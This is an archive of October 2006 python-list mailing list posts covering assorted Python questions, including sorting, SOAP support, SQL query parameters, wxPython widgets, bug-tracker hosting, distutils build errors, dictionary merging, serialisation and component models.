

From bj_666 at gmx.net  Fri Oct 27 12:30:54 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Fri, 27 Oct 2006 18:30:54 +0200
Subject: Telnetlib to twisted
References: <mailman.1366.1161963624.11739.python-list@python.org>
	<4qeoalFmlkv3U2@individual.net>
Message-ID: <pan.2006.10.27.16.30.54.56527@gmx.net>

In <4qeoalFmlkv3U2 at individual.net>, Bjoern Schliessmann wrote:

>> This email is confidential and may be privileged. If you are not
>> the intended recipient please notify the sender immediately and
>> delete the email from your computer.
> 
> Am I the inteded recipient? I'm not listed in the headers.

This is irrelevant because the whole paragraph is about emails and not
about newsgroup postings.  ;-)

Ciao,
	Marc 'BlackJack' Rintsch


From __peter__ at web.de  Tue Oct 24 11:56:22 2006
From: __peter__ at web.de (Peter Otten)
Date: Tue, 24 Oct 2006 17:56:22 +0200
Subject: Sorting by item_in_another_list
References: <mailman.1034.1161665444.11739.python-list@python.org>
	<ehkfmj$2ol$1@enyo.uwa.edu.au>
	<7.0.1.0.0.20061024123048.05772100@yahoo.com.ar>
	<mailman.1081.1161704509.11739.python-list@python.org>
Message-ID: <ehlcuq$qpr$03$1@news.t-online.com>

Carsten Haese wrote:

> On Tue, 2006-10-24 at 11:31, Gabriel Genellina wrote:
>> At Tuesday 24/10/2006 04:35, Cameron Walsh wrote:
>> 
>> > > c = set(B)
>> > > a.sort(key=c.__contains__, reverse=True)
>> > >
>> > > Tim Delaney
>> >
>> >Depressingly simple.  I like it.
>> 
>> ...and fast!
> 
> ...and not guaranteed to be correct:
> 
> http://www.python.org/doc/2.3.5/lib/typesseq-mutable.html states:
> 
> """
> Whether the sort() method is stable is not defined by the language (a
> sort is stable if it guarantees not to change the relative order of
> elements that compare equal). In the C implementation of Python, sorts
> were stable only by accident through Python 2.2. The C implementation of
> Python 2.3 introduced a stable sort() method, but code that intends to
> be portable across implementations and versions must not rely on
> stability.
> """

I'd say you need not worry about stability since the key parameter to the
list.sort() method was introduced in Python 2.4...

Peter


From steven.bethard at gmail.com  Tue Oct 24 15:52:56 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 24 Oct 2006 13:52:56 -0600
Subject: The status of Python and SOAP?
In-Reply-To: <453E6C41.90200@websafe.com>
References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>
	<453E6C41.90200@websafe.com>
Message-ID: <453E6F18.3010101@gmail.com>

Larry Bates wrote:
> I would venture to guess that this is the one I would lean towards
> if I needed SOAP support:
> 
> http://www.effbot.org/downloads/#elementsoap
> 
> I know is says "experimental" but Fredrik Lundh's idea of experimental
> always seems to be everyone else's idea of a shipping product (e.g his
> code just seems to work).  Since it is based on elementree, which is
> now in the standard library, I think it would be a good bet.

Note that to get elementsoap working with the ElementTree in the stdlib, 
you need to make a few changes.  See the thread here:

   http://mail.python.org/pipermail/python-list/2006-October/366522.html

Fredrik Lundh suggested that some of elementsoap should probably be 
rewritten with the iterparse API, but I haven't had time to do that (and 
likely won't for a while).

That all said, I'd agree that elementsoap is probably the right route to go.

Steve


From larry.bates at websafe.com  Tue Oct  3 10:54:10 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 03 Oct 2006 09:54:10 -0500
Subject: Best way to handle large lists?
In-Reply-To: <prrUg.1662$We.477@trndny08>
References: <prrUg.1662$We.477@trndny08>
Message-ID: <45227992.8090704@websafe.com>

Chaz Ginger wrote:
> I have a system that has a few lists that are very large (thousands or
> tens of thousands of entries) and some that are rather small. Many times
> I have to produce the difference between a large list and a small one,
> without destroying the integrity of either list. I was wondering if
> anyone has any recommendations on how to do this and keep performance
> high? Is there a better way than
> 
> [ i for i in bigList if i not in smallList ]
> 
> Thanks.
> Chaz


IMHO the only way to speed things up is to know more about the
actual data in the lists (e.g are the elements unique, can they
be sorted, etc) and take advantage of all that information to
come up with a "faster" algorithm.  If they are unique, sets
might be a good choice.  If they are sorted, bisect module
might help.  The specifics about the list(s) may yield a faster
method.

-Larry


From bignose+hates-spam at benfinney.id.au  Tue Oct 24 04:11:52 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 24 Oct 2006 18:11:52 +1000
Subject: Protecting against SQL injection
References: <Xns986662F736DD5toreriknpolarno@129.242.5.222>
	<7x1woy889g.fsf@ruckus.brouhaha.com>
Message-ID: <87d58iqgjb.fsf@benfinney.id.au>

Paul Rubin <"http://phr.cx"@NOSPAM.invalid> writes:

> Tor Erik Soenvisen <toreriks at hotmail.com> writes:
> >         # Protect against SQL injection by escaping quotes
>
> Don't ever do that, safe or not.  Use query parameters instead.
> That's what they're for.

More specifically: They've been debugged for just these kinds of
purposes, and every time you code an ad-hoc escaping-and-formatting
SQL query, you're inviting all the bugs that have been found and
removed before.

-- 
 \     "Welchen Teil von 'Gestalt' verstehen Sie nicht?  [What part of |
  `\             'gestalt' don't you understand?]"  -- Karsten M. Self |
_o__)                                                                  |
Ben Finney



From codecraig at gmail.com  Mon Oct 30 14:38:09 2006
From: codecraig at gmail.com (abcd)
Date: 30 Oct 2006 11:38:09 -0800
Subject: wxPython TextCtrl - weird scrolling behavior
Message-ID: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>

I have a TextCtrl which is set to be multi-line.  I have a function
say, updateText(msg), which takes some string and appends it to the
text control...

txtControl.AppendText(msg)

....however, if the text that I am appending would cause the scroll
bars to appear/or scroll since the text is long the textcontrol appears
to be blank, until you click on the scroll bar...then the text appears.
 Any ideas?  is this is a sizer problem or a TextCtrl issue??

thanks



From martin at v.loewis.de  Wed Oct  4 17:57:24 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 23:57:24 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7xirizbwp3.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com>
	<452423FF.6010601@v.loewis.de> <7xirizbwp3.fsf@ruckus.brouhaha.com>
Message-ID: <45242e44$0$8376$9b622d9e@news.freenet.de>

Paul Rubin schrieb:
> True, though GPL 3 tries to address that.  Most important is to figure
> out the underlying attitude of the host.  I realize it's the same
> crufty software (or worse) as SF and therefore maybe not so attractive
> on those grounds already, but did you think about migrating to
> Savannah?

We had a very clear procedure. We (the committee) didn't want to
manage the installation ourselves, or figure out how to set up
the software, or get the data into it. Instead, we sent out a call
to the community to come up with a demo installation for evaluation
purposes. Nobody offered to migrate the data into Savannah, so
we didn't consider it (nobody actually offered to show-case
Savannah for us, period).

There were several reasons to get off SF; it not being open
source was never a reason. Instead, ongoing complaints about
service level, and the UI were the main complaints. Savannah
is IMO worse than SF wrt. user interface, so it would have
lost in the evaluation even if a demo installation was provided.
We want to improve with that switch, not decrease usability.

>> Despite what other people say, this *is* an issue. On python.org,
>> things that should get done don't, just because there is no
>> volunteer doing them. Hosting such a service elsewhere has the
>> clear advantage that you don't have to worry about most routine
>> maintenance jobs.
> 
> I have to wonder too why Jira is so sure to be more reliable than SF.

It may change as time evolves, but at the moment, they are *pretty*
responsive to our inquiries. Atlassian (the company behind it) uses
the same infrastructure for their commercial offerings, as well;
this might mean that we get the same availability (it might also
mean that paying customers get more attention than non-paying ones
in the long term).

With any kind of partner, there is always the risk that they don't
deliver, and you always have to invest some trust in the beginning.
It was this way when Guido moved Python to SF, and indeed, SF did
a very good job for several years (IMO). They only went unreliable
when they grow beyond expectations. The same could happen to
Atlassian, of course, in which case we would have to move again.

OTOH, the same could also happen with a group of volunteers.
It's always possible that they all run away (like that distutils
is unmaintained, and PyXML is unmaintained). Volunteers are actually
unlikely to persist in their efforts over a period of 10 years,
as their lifes and priorities change over time. If you trust
such a service to a single volunteer, you might find that the
service can become very unusable very quickly. For example, the
Python Job Board was in a very bad shape for several months,
until we managed to find Peter Kropf to take it over (who
does a very good job ever since he started).

Regards,
Martin


From rijamoria at gmail.com  Wed Oct 11 13:43:51 2006
From: rijamoria at gmail.com (rijamoria at gmail.com)
Date: 11 Oct 2006 10:43:51 -0700
Subject: How to be a good programmers?
Message-ID: <1160588630.961337.213260@m7g2000cwm.googlegroups.com>

I just started to learn python programming because I need to be in the
group when google come in Madagascar, So I want to know, what kind of
python programming I have to start to learn? Zope?...?
Sorry for My english! You can writ me on rijamoria at gmail.com.
thanks!



From skip at pobox.com  Mon Oct 16 10:21:11 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 16 Oct 2006 09:21:11 -0500
Subject: A Universe Set
In-Reply-To: <0dMYg.105676$5o5.58612@tornado.texas.rr.com>
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<0dMYg.105676$5o5.58612@tornado.texas.rr.com>
Message-ID: <17715.38231.442697.32444@montanaro.dyndns.org>


    >> - the wildcard object, which compares equal to everything else

    Paul> class MatchAny(object):
    Paul>     def __cmp__(self,other):
    Paul>         return 0

    Paul> wild = MatchAny()

    ...

You're at the mercy of the comparison machinery implemented by individual
classes.  Executing this script (using any of Python 2.3 through what's
currently in the SVN repository):

    import datetime

    class MatchAny(object):
        def __cmp__(self,other):
            return 0

    wild = MatchAny()

    print wild == datetime.datetime.now()
    print datetime.datetime.now() == wild
    print wild != datetime.datetime.now()
    print datetime.datetime.now() != wild

yields

    False
    False
    True
    True

Skip


From ronaldoussoren at mac.com  Wed Oct 11 09:14:22 2006
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Wed, 11 Oct 2006 15:14:22 +0200
Subject: [python-nl] Compile python extension
In-Reply-To: <23338.84.31.232.161.1160570603.squirrel@webmail.xs4all.nl>
References: <23338.84.31.232.161.1160570603.squirrel@webmail.xs4all.nl>
Message-ID: <5349841.1160572462719.JavaMail.ronaldoussoren@mac.com>

 
On Wednesday, October 11, 2006, at 02:43PM, Martijn de Munnik <cologuns at xs4all.nl> wrote:

>Hi,
>
>I'm trying to build/install pysqlite on a Solaris 10 platform. I've got
>Sun Studio 11 on a AMD 64 platform and got this error. I'm a python newbie
>and just want to install trac. I've got ActiveState python:

This seems to be a bug in distutils, triggered by the %-signs in your CFLAGS. The easiest way to work around this is to change the CFLAGS and CXXFLAGS in your environment, just remove the options containing %-signs. Those seem to be related to optimization and I don't think those will affect the performance of pysqlite very much.

A more permanent fix is change /opt/python/lib/python2.4/distutils/spawn.py" line 122, insert "%s" as the first argument of the call to log.info. This might not be the only place that requires changes.

Ronald

P.S. please file a bug at http://www.sf.net/projects/python to ensure that this will get fixed in a future release of  python.

>
>ActivePython 2.4.3 Build 11 (ActiveState Software Inc.) based on
>Python 2.4.3 (#1, Apr  3 2006, 18:07:58) [C] on sunos5
>Type "help", "copyright", "credits" or "license" for more information.
>
>And sqlite build with the following options ./configure
>--prefix=/opt/64/sqlite --enable-threadsafe --disable-tcl
>
>my environment looks like this:
>CC=cc
>CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil
>-xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
>CXX=CC
>CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all
>-xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
>LDFLAGS=-xtarget=opteron -xarch=amd64
>
>and setyp.cfg looks like this
>[build_ext]
>define=
>include_dirs=/opt/sqlite/include
>library_dirs=/opt/sqlite/lib
>libraries=sqlite3
>
>/opt/sqlite is a symlink to /opt/64/sqlite
>
>and finally the build command:
>
>% python setup.py build
>running build
>running build_py
>running build_ext
>building 'pysqlite2._sqlite' extension
>Traceback (most recent call last):
>  File "setup.py", line 159, in ?
>    main()
>  File "setup.py", line 156, in main
>    setup(**get_setup_args())
>  File "/opt/python/lib/python2.4/distutils/core.py", line 149, in setup
>    dist.run_commands()
>  File "/opt/python/lib/python2.4/distutils/dist.py", line 946, in
>run_commands
>    self.run_command(cmd)
>  File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in
>run_command
>    cmd_obj.run()
>  File "/opt/python/lib/python2.4/distutils/command/build.py", line 112,
>in run
>    self.run_command(cmd_name)
>  File "/opt/python/lib/python2.4/distutils/cmd.py", line 333, in run_command
>    self.distribution.run_command(command)
>  File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in
>run_command
>    cmd_obj.run()
>  File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line
>279, in run
>    self.build_extensions()
>  File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line
>405, in build_extensions
>    self.build_extension(ext)
>  File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line
>470, in build_extension
>    depends=ext.depends)
>  File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 699, in
>compile
>    self._compile(obj, src, ext, cc_args, extra_postargs, pp_opts)
>  File "/opt/python/lib/python2.4/distutils/unixccompiler.py", line 112,
>in _compile
>    self.spawn(self.compiler_so + cc_args + [src, '-o', obj] +
>  File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 1040, in
>spawn
>    spawn (cmd, dry_run=self.dry_run)
>  File "/opt/python/lib/python2.4/distutils/spawn.py", line 37, in spawn
>    _spawn_posix(cmd, search_path, dry_run=dry_run)
>  File "/opt/python/lib/python2.4/distutils/spawn.py", line 122, in
>_spawn_posix
>    log.info(string.join(cmd, ' '))
>  File "/opt/python/lib/python2.4/distutils/log.py", line 33, in info
>    self._log(INFO, msg, args)
>  File "/opt/python/lib/python2.4/distutils/log.py", line 23, in _log
>    print msg % args
>TypeError: not enough arguments for format string
>
>
>I've got the same issues with mysql and postgresql extensions, any ideas???
>
>BTW anybody succesfully compiled python on Solaris using Sun Studio?
>
>thanks,
>
>Martijn
>
>
>_______________________________________________
>Python-nl mailing list
>Python-nl at python.org
>http://mail.python.org/mailman/listinfo/python-nl
>
>


From fredrik at pythonware.com  Wed Oct 18 12:47:18 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 18:47:18 +0200
Subject: Dictionaries
In-Reply-To: <1161189110.702575.162220@f16g2000cwb.googlegroups.com>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>	<pan.2006.10.18.16.07.07.924696@REMOVE.THIS.cybersource.com.au>
	<1161189110.702575.162220@f16g2000cwb.googlegroups.com>
Message-ID: <eh5lqn$mkn$1@sea.gmane.org>

Lad wrote:

> The answer: the values should be added together and assigned to the key
> That is
> {'a':1, 'b':5}
> ( from your example below)
> 
> Is there a solution?

have you tried coding a solution and failed, or are you just expecting 
people to code for free?

</F>



From fredrik at pythonware.com  Tue Oct  3 15:12:56 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 21:12:56 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <efu9c7$lql$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<eft78f$put$1@sea.gmane.org>	<eft974$1au$1@sea.gmane.org>
	<efu9c7$lql$1@sea.gmane.org>
Message-ID: <efucno$25n$1@sea.gmane.org>

Robert Kern wrote:

> Sure. But what's the similarity to the fiasco part of the BitKeeper fiasco?

depends on what you consider being the cause of that fiasco.  I'm not 
sure it was quite as simple as people are trying to make it sound...

(and your assertion that nobody but giovanni has made that connection is 
simply wrong)

</F>



From http  Tue Oct 10 04:10:13 2006
From: http (Paul Rubin)
Date: 10 Oct 2006 01:10:13 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
Message-ID: <7xlknotwuy.fsf@ruckus.brouhaha.com>

"Nick Vatamaniuc" <vatamane at gmail.com> writes:
> Python does not _need_ a component model just as you don't _need_ a RAD
> IDE tool to write Python code. The reason for having a component model
> or a RAD IDE tool is to avoid writing a lot of boiler plate code.

It's also so that applications written in differing languages can call
each other.


From gherron at islandtraining.com  Wed Oct 18 11:35:43 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Wed, 18 Oct 2006 08:35:43 -0700
Subject: Dictionaries
In-Reply-To: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
Message-ID: <453649CF.4000604@islandtraining.com>

Lad wrote:
> How can I add two dictionaries into one?
> E.g.
> a={'a:1}
> b={'b':2}
>
> I need
>
> the result {'a':1,'b':2}.
>
> Is it possible?
>
> Thank you
> L.
>
>   
Yes, use update.  Beware that this modifies a dictionary in place rather
than returning a new dictionary.

>>> a={'a':1}
>>> b={'b':2}
>>> a.update(b)
>>> a
{'a': 1, 'b': 2}

Gary Herron




From hanumizzle at gmail.com  Tue Oct  3 20:08:42 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Tue, 3 Oct 2006 20:08:42 -0400
Subject: Resuming a program's execution after correcting error
In-Reply-To: <1159919897.485421.305490@m73g2000cwd.googlegroups.com>
References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com>
	<1159483617.159482.169770@i3g2000cwc.googlegroups.com>
	<1159889617.610051.100990@b28g2000cwb.googlegroups.com>
	<1159919897.485421.305490@m73g2000cwd.googlegroups.com>
Message-ID: <463ff4860610031708w7ea1a00cka5fb7a080b3221@mail.gmail.com>

On 3 Oct 2006 16:58:17 -0700, MRAB <google at mrabarnett.plus.com> wrote:

> > I like your idea Matthew but I don't know how to pickle the many
> > variables in one file. Do I need to pickle each and every variable into
> > a seperate file?
> > var1,var2
> > pickle.dump(var1,f)
> > pickle.dump(var2,f2)
> >
> Using the 'pickle' module:
>
>     # To store:
>     f = open(file_path, "wb")
>     pickle.dump(var1, f)
>     pickle.dump(var2, f)
>     f.close()
>
>     # To load
>     f = open(file_path, "rb")
>     var1 = pickle.load(f)
>     var2 = pickle.load(f)
>     f.close()
>
> A more flexible alternative is to use the 'shelve' module. This behaves
> like a dict:
>
>     # To store
>     s = shelve.open(file_path)
>     s["var1"] = "first"
>     s["var2"] = [2, 3]
>     s.close()
>
>     # To load
>     s = shelve.open(file_path)
>     print s["var1"] # This prints "first"
>     print s["var2"] # This prints [2, 3]
>     s.close()

As long as we're on the subject of data serialization, I should like
to bring up PyYaml. YAML is a portable format for storing data of all
kinds; it became popular via Ruby I think, but there are
implementations for many other languages. If you stick to storing
simple stuff like lists, strings, and dictionaries, you can use your
YAML data almost anywhere, but PyYaml even supports reifying things
like lambdas.


From Roka100 at gmail.com  Sun Oct 15 09:48:49 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 15 Oct 2006 06:48:49 -0700
Subject: Cannot import a module from a variable
Message-ID: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>

Hi all:

I try to do things below:
>>>import sys
>>> for i in sys.modules.keys():
	import i
Traceback (most recent call last):
  File "<pyshell#67>", line 2, in <module>
    import i
ImportError: No module named i

But it seems that import donot know what is i ? why?

Thanks/



From deets at nospam.web.de  Sat Oct 28 12:32:37 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 28 Oct 2006 18:32:37 +0200
Subject: Where do nested functions live?
In-Reply-To: <mailman.1410.1162052677.11739.python-list@python.org>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>	<ehv2l1$a23$1@sea.gmane.org>
	<mailman.1410.1162052677.11739.python-list@python.org>
Message-ID: <4qhf11Fn4g9fU1@uni-berlin.de>

> If I may turn the issue around, I could see a need for an inner function 
> to be able to access the variables of the outer function, the same way a 
> function can access globals. Why? Because inner functions serve to 
> de-multiply code segments one would otherwise need to repeat or to 
> provide a code segment with a name suggestive of its function. In either 
> case the code segment moved to the inner function loses contact with its 
> environment, which rather mitigates its benefit.

Maybe I'm dense here, but where is your point? Python has nested lexical 
scoping, and while some people complain about it's actual semantics, it 
works very well:

def outer():
    outer_var = 10
    def inner():
        return outer_var * 20
    return inner

print outer()()



Diez


From trentm at activestate.com  Thu Oct 12 17:29:29 2006
From: trentm at activestate.com (Trent Mick)
Date: Thu, 12 Oct 2006 14:29:29 -0700
Subject: python 2.5 & sqlite3
In-Reply-To: <eglqns$u92$1@sea.gmane.org>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>	<mailman.337.1160600574.11739.python-list@python.org>	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>	<mailman.338.1160604416.11739.python-list@python.org>	<1160616758.718092.210130@m73g2000cwd.googlegroups.com>	<mailman.356.1160631952.11739.python-list@python.org>	<eJtXg.104$1n3.2850@news.tufts.edu>
	<eglqns$u92$1@sea.gmane.org>
Message-ID: <452EB3B9.6080603@activestate.com>

> if it doesn't, it wouldn't be the first time they'd (by accident or on 
> purpose) left things out.  

Other than SSL, do you have examples?

 > trust me, it'd cause a lot less confusion if
> ActivePython was a true superset of the python.org distribution.

For every extension except SSL support (*) it is.

(*) Still working on export-control legals for that. I was hoping to 
have that ready for ActivePython 2.5. But that doesn't look like it will 
happen on time. And now I've missed getting ActivePython 2.5 out soon 
after Python 2.5 because I'm focussed on Komodo 4.0 for now.

For others, unfortunately ActivePython 2.5 will probably not be ready 
until mid-November.

Trent

-- 
Trent Mick
trentm at activestate.com


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 17:17:27 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 21:17:27 GMT
Subject: Python component model
In-Reply-To: <1160502889.153272.197250@m73g2000cwd.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<mailman.186.1160469729.11739.python-list@python.org>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
	<mailman.228.1160498957.11739.python-list@python.org>
	<1160502889.153272.197250@m73g2000cwd.googlegroups.com>
Message-ID: <H5UWg.5500$Lv3.4355@newsread1.news.pas.earthlink.net>

Paul Boddie wrote:
> skip at pobox.com wrote:
>> Edward> My OP was just to query whether a component model existed for
>> Edward> Python, like JavaBeans for Java or .Net for C#, C++/CLI
>> Edward> etc.
>>
>> For those of us who've never used Java, .Net or C++/CLI, a more concrete
>> description of what you were after from the beginning would have been
>> helpful.
> 
>>From vague recollections of the original Java Beans technology, the
> primary "innovation" was to have getProperty and setProperty methods,
> along with things like isCapability and hasProperty, if I remember
> correctly. None of this was really shocking to anyone using Python,
> mostly because Python had __getattr__ and __setattr__ even back then
> for customising real property/attribute access, and Python's run-time
> introspection capabilities were superior to Java's (and probably still
> are).

There is no argument on my part that Python's introspection and metadata 
  capabilities are superior to Java, as well as its potential attribute 
as component property model. In the theoretical Python model I proposed, 
the designer of the component must have the ability to specify which of 
the component's attributes are properties and how this is controlled ( 
via __getattr__ and __setattr__ ? descriptors as someone else suggested 
? other ideas ? ). Merely saying that all of an object's attributes are 
component properties for the purposes of a visual RAD designer can not 
be correct.

I actually think that Java's notion of preoperties in JavaBeans, which 
are just getter and setter functions with a particular naming 
convention, determined by Java as a default, or through an associated 
BeanInfo class, is rather klutzy and much prefer that of .Net or 
Borland's VCL where a particular language construct is used for 
properties instead. Of course with Python's superior metadata abilities, 
a particular new language construct shouldn't be necessary.

> 
> The other innovation was the introduction of standard interfaces for
> listening to and dispatching events, where you implement some listener
> interface and respond to events in order to "care about" those events.
> I don't recall any particularly good mechanisms for connecting beans to
> each other in order to fire off events, although the beanbox (or
> whatever the graphical tool originally promoted was called) and/or the
> IDE is supposed to help you with that part of the work.

The beanbox did nothing to help setup events, event sources, or event 
listeners. It just presented a graphical example of a visual RAD tool 
which could tie event sources to event listeners. It is onerous in 
JavaBeans to connect event sources to event listeners, and takes a good 
deal of manual coding although doing it is easy to understand.

> 
> The groovy 1990s API

1997.

Again Borland's VCL or .Net have much better solutions for events but 
again require language constructs which Python ought not need given its 
strong metadata possibilities to supply a component event model.

> is actually viewable in various places; here, for
> example:
> 
> http://www.doc.ic.ac.uk/~jpc1/linux/bdk-doc-1.0/apis.html

The BDK is no longer supported in the latest version of Java and 
JavaBeans. Instead there is a Bean Builder at 
https://bean-builder.dev.java.net/ .

> 
> Despite the supposedly exciting advances heralded by Java Beans, a
> large part of the technology was just codifying existing practices and
> techniques, but it could be argued that such techniques have been
> superseded by signal/slot mechanisms and more advanced event
> architectures (pioneered by frameworks like Qt and since adopted by
> Gtk, I believe).

I agree and I would want to have a component event model for Python that 
is much superior to the JavaBeans event model in ease of use. A much 
better ideal for component properties and component events is presented 
by .Net, where there are actual language keywords which perform the 
magic. I would guess that Qt and Gtk also follow a better ease of use 
path, perhaps with macros in C++. But Python should be able to do as 
good or better than any of these environments.


From Eric_Dexter at msn.com  Mon Oct 16 00:47:49 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 15 Oct 2006 21:47:49 -0700
Subject: wx.grid question (trying to use code from Grid_Example.py)
In-Reply-To: <1160973960.113552.200490@i3g2000cwc.googlegroups.com>
References: <1160973960.113552.200490@i3g2000cwc.googlegroups.com>
Message-ID: <1160974069.893127.93140@k70g2000cwa.googlegroups.com>

To extend and revise my remarks my error is

 File "C:\Python24\Lib\site-packages\boa-constructor\test of
snake\csoundgrid.py", line 8, in create_grid
win = Grid_MegaExample.MegaTable(self, data, colnames, pugins)
NameError: global name 'self' is not defined
Script terminated.

http://www.dexrow.com
Eric_Dexter at msn.com wrote:
> I am having trouble trying to reuse the code that was provided in the
> wxdemo package of wxpython.  The program I am trying to use parts of is
> Grid_MegaExample.py thier code is
>
> class MegaTable(Grid.PyGridTableBase):
>     """
>     A custom wx.Grid Table using user supplied data
>     """
>     def __init__(self, data, colnames, plugins):
>         """data is a list of the form
>         [(rowname, dictionary),
>         dictionary.get(colname, None) returns the data for column
>         colname
>         """
>         # The base class must be initialized *first*
>         Grid.PyGridTableBase.__init__(self)
>         self.data = data
>         self.colnames = colnames
>         self.plugins = plugins or {}
>         # XXX
>         # we need to store the row length and column length to
>         # see if the table has changed size
>         self._rows = self.GetNumberRows()
>         self._cols = self.GetNumberCols()
>
> My code is
>
> import wx.grid
> import os
> import sys
> import string
> import Grid_MegaExample
>
> def create_grid():
>     win = Grid_MegaExample.MegaTable(self, data, colnames, pugins)
>     win.Show(True)
>
> def create_colums(line):
>     "creates colums based on what is passed to subroutine"
>     for word in line:
>         colnames = word
>
> def create_sco_grid(from_file):
>     "reads .sco file and inputs it into a wx.grid"
>     data = []
>     infile = open(from_file, 'r')
>     testline = 'false'
>     for line in infile:
>         if """;<sco_header>""" in line:
>             create_colums(line)
>             testline = 'true'
>         if testline == 'true':
>             for word in line:
>                 data.append(word)
>     create_grid()
> create_sco_grid("""test.sco""")
>             
>         
>         
>         
> http://www.dexrow.com



From noway at sorry.com  Sat Oct  7 20:20:14 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Sun, 08 Oct 2006 00:20:14 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45254B18.2090806@v.loewis.de> <mailman.1379.1160075929.1
	<0BQVg.138807$zy5.1859480@twister1.libero.it>
	<eg8v0u$g3m$1@panix3.panix.com>
Message-ID: <2vXVg.139282$_J1.908700@twister2.libero.it>

Aahz wrote:

>> Are you ever going to try and make a point which is not "you are not
>> entitled to have opinions because you do not act"? Your sarcasm is
>> getting annoying. And since I'm not trolling nor flaming, I think I
>> deserve a little bit more of respect.
>
> IMO, regardless of whether you are trolling or flaming, you are
> certainly being disrespectful.  Why should we treat you with any more
> respect than you give others?

Disrespectful? Because I say that I don't agree with some specific requirement,
trying to discuss and understand the rationale behind it?
-- 
Giovanni Bajo




From jonas.esp at googlemail.com  Thu Oct 19 14:22:54 2006
From: jonas.esp at googlemail.com (GinTon)
Date: 19 Oct 2006 11:22:54 -0700
Subject: Integration of globalization data in Python web frameworks
Message-ID: <1161282173.978279.159250@k70g2000cwa.googlegroups.com>

I have created several tables in CSV format with globalization data
(G11n). There are tables for countries, areas, languages, countries &
languages, time zones, phones. And they are licensed under a Creative
Commons license.

http://svn.webda.python-hosting.com/trunk/G11n_data/

I created a new discussion group in order to facilitate the integration
of G11n data in any framework. It's focused on integrate it on Django
and TurboGears, but it could be integrated in whatever application with
the help of the discussions on this group.

It's necessary to discuss several subjects before beginning with the
integration in the web frameworks. So I ask your collaboration. Thanks!

http://groups.google.com/group/webda

P.S.: I hope that you don't see this post as SPAM. This is something
very interesting for administrators and users of those web frameworks.



From no-spam at no-spam-no-spam.com  Sat Oct 14 09:06:56 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 14 Oct 2006 15:06:56 +0200
Subject: IDE that uses an external editor?
In-Reply-To: <mailman.463.1160759109.11739.python-list@python.org>
References: <mailman.463.1160759109.11739.python-list@python.org>
Message-ID: <egqndi$pkj$1@ulysses.news.tiscali.de>

skip at pobox.com wrote:
> One thing that's kept me from even looking at IDEs is that to the best of my
> knowledge none of them will integrate properly with external editors like
> Emacs or vi.  I know lots of tools support "Emacs-like keybindings", but
